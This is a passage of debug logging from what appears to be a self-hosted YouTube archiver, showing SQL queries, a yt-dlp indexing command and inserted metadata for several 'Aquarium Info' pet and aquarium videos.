videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Frogs Forever\" so I notice you 🐸\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Rescued an Abandoned Axolotl\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "Raising Tadpoles to Frogs (100 Day Evolution)", "559926fb-3db2-4084-ad83-f05ddf94455f", "G6HL0WyBDMM", false, "https://www.youtube.com/watch?v=G6HL0WyBDMM", 32, [], 612, false, 14, "/downloads/shows/Aquarium Info/Season 2025/s2025e030800 - Raising Tadpoles to Frogs (100 Day Evolution).mkv", false, false, 98, ~U[2025-03-08 16:17:29Z], ~U[2026-06-02 15:12:36Z], ~U[2026-06-02 15:12:36Z], "Can I raise these mystery eggs into frogs? Watch the evolution unfold over 100 days…\n\nToday, we buy 100 mystery frog eggs off the web and hatch them into tadpoles before growing them into tiny green tree frogs! Watch as I capture the scientific wonder of metamorphosis over 100 days and build a DIY terrarium from an IKEA cabinet! How many frogs do you think will survive? \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nS/O to @RAWWFishing for taking us on an incredible Florida adventure! \n\nMeet The Crew!\n🐈 Nori\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nIn this adventure-filled episode, we embark on a mission to raise tadpoles to frogs in 100 days! We also build a DIY IKEA terrarium, travel to Florida with RAWWFishing to catch real frogs in the wild and even witness the rare sighting of my pet Alaskan King Crab molting! \n\nWatch until the end to see how many frogs survive and get to experience the incredible jungle terrarium we built for them! This video is perfect for anyone who loves animals, DIY projects or is just interested in the science of metamorphosis.\n\nIf you have any comments, suggestions or questions for this raising frogs video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Frogs Forever\" so I notice you 🐸\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Rescued an Abandoned Axolotl\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "Raising Tadpoles to Frogs (100 Day Evolution)", "G6HL0WyBDMM", "https://www.youtube.com/watch?v=G6HL0WyBDMM", 32, 612, false, "/downloads/shows/Aquarium Info/Season 2025/s2025e030800 - Raising Tadpoles to Frogs (100 Day Evolution).mkv", false, ~U[2025-03-08 16:17:29Z]] 11:12:36.917 [debug] QUERY OK source="sources" db=0.3ms idle=125.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:36.918 [debug] QUERY OK source="media_profiles" db=0.2ms idle=14.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:12:36.918 [debug] QUERY OK source="media_items" db=0.3ms idle=14.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [116194] 11:12:36.918 [debug] Current batch of media processed. Will check again in 1000ms 11:12:37.919 [debug] Current batch of media processed. Will check again in 1000ms 11:12:38.921 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Meet Squeak, my rescue axolotl. Someone abandoned him and I am trying to save him. Thank you Seachem Laboratories for sponsoring this video! \n\nToday, we rescue an abandoned axolotl from the pet store and name him Squeak. He was super malnourished and in need of special care when I got him. But I've rescued grocery store pets before, like Pickle my Alaskan King Crab, Mochi my lobster and Noodle my blue crab, so I knew saving an abandoned axolotl was possible. I even had my own rescue axolotl named Kirby. Watch as I nurse Squeak back to health over 30 days and build his dream home, equipped with a custom 3D printed cave. \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nS/O to Jake at @AxolotlPlanet for helping me save Squeak! \n\nMeet The Crew!\n🐈 Nori\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nIn this heartwarming episode, we embark on a rescue mission to save an abandoned axolotl named Squeak. Witness his incredible journey back to health as we bring him home and build a dream home for him. We even travel to Mexico City to see axolotls in the wild and hatch baby axolotls in the studio!\n\nWe also surprise Kai Cenat, one of the biggest streamers in the world, with a bathroom ecosystem. Wait till you see Kai Cenat's reaction! This was filmed during Mafiathon at Kai Cenat's $50,000,000 mansion in LA. \n\nWatch until the end to see what Squeak thinks of his new home. This video is perfect for anyone who is passionate about wildlife rescue, axolotls, DIY projects and creating the perfect underwater ecosystem for their wetpet.\n\nIf you have any comments, suggestions or questions for this axolotl rescue video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Squeak for President\" so I notice you 🫡 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "duration" => 503, "filename" => "/downloads/shows/Aquarium Info/Season 2025/s2025e020800 - I Rescued an Abandoned Axolotl....mkv", "id" => "m-EL5Fti1TM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=m-EL5Fti1TM", "playlist_index" => 15, "timestamp" => 1739042575, "title" => "I Rescued an Abandoned Axolotl...", "upload_date" => "20250208"} 11:12:38.922 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=126.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [32] 11:12:38.924 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=31.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:38.926 [debug] QUERY OK source="media_items" db=1.4ms queue=0.2ms idle=32.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-08 19:22:55Z], 32] 11:12:38.929 [debug] QUERY OK source="media_items" db=2.8ms idle=34.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Meet Squeak, my rescue axolotl. Someone abandoned him and I am trying to save him. Thank you Seachem Laboratories for sponsoring this video! \n\nToday, we rescue an abandoned axolotl from the pet store and name him Squeak. He was super malnourished and in need of special care when I got him. But I've rescued grocery store pets before, like Pickle my Alaskan King Crab, Mochi my lobster and Noodle my blue crab, so I knew saving an abandoned axolotl was possible. I even had my own rescue axolotl named Kirby. Watch as I nurse Squeak back to health over 30 days and build his dream home, equipped with a custom 3D printed cave. \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nS/O to Jake at @AxolotlPlanet for helping me save Squeak! \n\nMeet The Crew!\n🐈 Nori\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nIn this heartwarming episode, we embark on a rescue mission to save an abandoned axolotl named Squeak. Witness his incredible journey back to health as we bring him home and build a dream home for him. We even travel to Mexico City to see axolotls in the wild and hatch baby axolotls in the studio!\n\nWe also surprise Kai Cenat, one of the biggest streamers in the world, with a bathroom ecosystem. Wait till you see Kai Cenat's reaction! This was filmed during Mafiathon at Kai Cenat's $50,000,000 mansion in LA. \n\nWatch until the end to see what Squeak thinks of his new home. This video is perfect for anyone who is passionate about wildlife rescue, axolotls, DIY projects and creating the perfect underwater ecosystem for their wetpet.\n\nIf you have any comments, suggestions or questions for this axolotl rescue video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Squeak for President\" so I notice you 🫡 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Rescued an Abandoned Axolotl...", "e6676d76-4942-4cfc-9eb4-6ab703358ae4", "m-EL5Fti1TM", false, "https://www.youtube.com/watch?v=m-EL5Fti1TM", 32, [], 503, false, 15, "/downloads/shows/Aquarium Info/Season 2025/s2025e020800 - I Rescued an Abandoned Axolotl....mkv", false, false, 98, ~U[2025-02-08 19:22:55Z], ~U[2026-06-02 15:12:38Z], ~U[2026-06-02 15:12:38Z], "Meet Squeak, my rescue axolotl. Someone abandoned him and I am trying to save him. Thank you Seachem Laboratories for sponsoring this video! \n\nToday, we rescue an abandoned axolotl from the pet store and name him Squeak. He was super malnourished and in need of special care when I got him. But I've rescued grocery store pets before, like Pickle my Alaskan King Crab, Mochi my lobster and Noodle my blue crab, so I knew saving an abandoned axolotl was possible. I even had my own rescue axolotl named Kirby. Watch as I nurse Squeak back to health over 30 days and build his dream home, equipped with a custom 3D printed cave. \n\n♡ Get the merch: https://aquariuminfo.com/ (worldwide shipping 🌎)\n\nSUBSCRIBE for a chance at the ecosystem kit\n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nS/O to Jake at @AxolotlPlanet for helping me save Squeak! \n\nMeet The Crew!\n🐈 Nori\n🦀 Noodle & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper & Squeak\n🪦 R.I.P. Kirby\n\nIn this heartwarming episode, we embark on a rescue mission to save an abandoned axolotl named Squeak. Witness his incredible journey back to health as we bring him home and build a dream home for him. We even travel to Mexico City to see axolotls in the wild and hatch baby axolotls in the studio!\n\nWe also surprise Kai Cenat, one of the biggest streamers in the world, with a bathroom ecosystem. Wait till you see Kai Cenat's reaction! This was filmed during Mafiathon at Kai Cenat's $50,000,000 mansion in LA. \n\nWatch until the end to see what Squeak thinks of his new home. This video is perfect for anyone who is passionate about wildlife rescue, axolotls, DIY projects and creating the perfect underwater ecosystem for their wetpet.\n\nIf you have any comments, suggestions or questions for this axolotl rescue video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Squeak for President\" so I notice you 🫡 \n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Rescued an Abandoned Axolotl...", "m-EL5Fti1TM", "https://www.youtube.com/watch?v=m-EL5Fti1TM", 32, 503, false, "/downloads/shows/Aquarium Info/Season 2025/s2025e020800 - I Rescued an Abandoned Axolotl....mkv", false, ~U[2025-02-08 19:22:55Z]] 11:12:38.930 [debug] QUERY OK source="sources" db=0.3ms idle=38.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:38.930 [debug] QUERY OK source="media_profiles" db=0.2ms idle=7.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 11:12:38.931 [debug] QUERY OK source="media_items" db=0.2ms idle=7.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [116195] 11:12:38.931 [debug] Current batch of media processed. Will check again in 1000ms 11:12:39.932 [debug] Current batch of media processed. Will check again in 1000ms 11:12:40.933 [debug] Current batch of media processed. Will check again in 1000ms 11:12:41.129 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://youtube.com/@aquariuminfo --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/Aquarium Info/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1440,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/ea/60/ea600573df19bc9dc70a08799fe143cca7f53b6d80118453d8c113ad41b0b982.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/0a/14/0a1415813e9fc0f5f69729ac88edd153f2afae130c38ae02fd4c64ce01022186.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 101 with: 11:12:41.129 [debug] Gracefully stopping file follower 11:12:41.130 [debug] QUERY OK source="sources" db=0.2ms idle=332.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [32] 11:12:41.130 [debug] QUERY OK source="sources" db=0.2ms idle=238.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 11:12:41.131 [debug] QUERY OK source="media_items" db=0.4ms idle=239.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-30 14:03:25Z], 32] 11:12:41.133 [debug] QUERY OK source="media_items" db=1.4ms idle=239.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I hatched pet dinosaurs! If you’re ever injured in an accident, see if you have a case with Morgan & Morgan. You can start your claim in just 1 click: https://ForThePeople.com/AquariumInfo\n\nIn this video, we hatch 300 million year old eggs over the course of 100 days! And I'm building my new pet dinosaurs their very own Triassic Park! These animals lived on earth at the same time as dinosaurs. They survived insane extreme conditions and are easily the most fascinating animals I've ever raised. But nothing could've prepared me for how this prehistoric experiment would end... \n\n♡ Get your Lucy & Lemon plush toys: https://aquariuminfo.com/ (worldwide shipping 🌎)\n☞ Your purchase directly helps care for the animals in the studio and supports us to make incredible content for you!\n\nSUBSCRIBE for a chance at the ecosystem kit! \n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby & Noodle\n\nThroughout this episode, Jamie struggles to raise pet dinosaurs in the studio. What starts as a couple hundred hatchlings turns into only a few survivors overnight. There is one triop in particular who is bigger than the others: Hercules! Jamie explores evolution and uses real-life robotics, 3D printing and automated engineering to craft custom solutions for her prehistoric pets and to build their dream home.\n\nWhile Jamie builds, Outdoor Adam travels to Wyoming to traverse to the Triassic Zone in search of a real fossil. Adam’s mission is to learn about our new prehistoric pets and to find a real prehistoric fossil to go inside their new home, Triassic Park! \n\nWatch until the end to see how Jamie's science experiment goes... You won't see what's coming. This video is perfect for anyone who is passionate about dinosaurs, Jurassic Park, evolution, triops, exotic pets, wildlife rescue, DIY custom aquariums, marine biology and creating the perfect saltwater ecosystem for their pets.\n\nIf you have any comments, suggestions or questions for this pet dinosaur video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Hercules!\" so I notice you 🦖\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Hatched Pet Dinosaurs (300 Million Years Old)", "47e9bcb8-ce19-4daa-ae1f-433f4ce2ec06", "vw_KuLVHKP8", false, "https://www.youtube.com/watch?v=vw_KuLVHKP8", 32, [], 1027, false, 1, "/downloads/shows/Aquarium Info/Season 2026/s2026e053000 - I Hatched Pet Dinosaurs (300 Million Years Old).mkv", false, false, 98, ~U[2026-05-30 14:03:25Z], ~U[2026-06-02 15:12:41Z], ~U[2026-06-02 15:12:41Z], "I hatched pet dinosaurs! If you’re ever injured in an accident, see if you have a case with Morgan & Morgan. You can start your claim in just 1 click: https://ForThePeople.com/AquariumInfo\n\nIn this video, we hatch 300 million year old eggs over the course of 100 days! And I'm building my new pet dinosaurs their very own Triassic Park! These animals lived on earth at the same time as dinosaurs. They survived insane extreme conditions and are easily the most fascinating animals I've ever raised. But nothing could've prepared me for how this prehistoric experiment would end... \n\n♡ Get your Lucy & Lemon plush toys: https://aquariuminfo.com/ (worldwide shipping 🌎)\n☞ Your purchase directly helps care for the animals in the studio and supports us to make incredible content for you!\n\nSUBSCRIBE for a chance at the ecosystem kit! \n► https://www.youtube.com/c/AquariumInfo?sub_confirmation=1\n\nMeet The Crew!\n🐈 Nori\n🦀 Nibbles & Pickle\n🦞 Mochi\n🐢 Harry \n🦐 Ralph\n🐸 Frito & Burrito\n🦎 Lucy & Lemon\n🐠 Peanut & Jelly\n🦎 Lime & Pepper\n🪦 R.I.P. Kirby & Noodle\n\nThroughout this episode, Jamie struggles to raise pet dinosaurs in the studio. What starts as a couple hundred hatchlings turns into only a few survivors overnight. There is one triop in particular who is bigger than the others: Hercules! Jamie explores evolution and uses real-life robotics, 3D printing and automated engineering to craft custom solutions for her prehistoric pets and to build their dream home.\n\nWhile Jamie builds, Outdoor Adam travels to Wyoming to traverse to the Triassic Zone in search of a real fossil. Adam’s mission is to learn about our new prehistoric pets and to find a real prehistoric fossil to go inside their new home, Triassic Park! \n\nWatch until the end to see how Jamie's science experiment goes... You won't see what's coming. This video is perfect for anyone who is passionate about dinosaurs, Jurassic Park, evolution, triops, exotic pets, wildlife rescue, DIY custom aquariums, marine biology and creating the perfect saltwater ecosystem for their pets.\n\nIf you have any comments, suggestions or questions for this pet dinosaur video or future videos, leave them down in the comments! Also for additional content like this, video tutorials, project sneak peeks and more, follow me on Instagram @aquariuminfo.\n\nIf you're reading this, you're a Super Fan!\nComment \"Hercules!\" so I notice you 🦖\n\nIf you love ecosystems, rescue videos and fish tanks, check out my other videos!\n- I Turned my Bed into a GIANT Ant Farm…\n- Simulating an Ant Colony for 100 Days\n- I Raising Tadpoles to Frogs (100 Day Evolution)\n- I Rescued an Abandoned Axolotl\n- Raising a Bait Shop Crab as a Pet...\n- Raising a Grocery Store Crab as a Pet\n- Raising a Grocery Store Lobster as a Pet\n- I Turned my Bedroom into a GIANT Ecosystem…\n- I Turned my Bed into a Fish Tank…\n- I Built a $10,000 Dream Dog House\n- I Built the SpongeBob Chum Bucket IRL\n- I Built Bikini Bottom in a Fish Tank\n- I Built the Krusty Krab for a Real Crab\n- I Built a Secret Gaming Room to Hide from my Friend!\n- I Built LEGO Super Mario World for my Turtle…\n- I Built the LEGO Titanic for my Fish\n- I Built LEGO Minecraft for a Real Axolotl", "I Hatched Pet Dinosaurs (300 Million Years Old)", "vw_KuLVHKP8", "https://www.youtube.com/watch?v=vw_KuLVHKP8", 32, 1027, false, "/downloads/shows/Aquarium Info/Season 2026/s2026e053000 - I Hatched Pet Dinosaurs (300 Million Years Old).mkv", false, ~U[2026-05-30 14:03:25Z]] 11:12:41.133 [debug] QUERY OK source="sources" db=0.2ms idle=241.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", 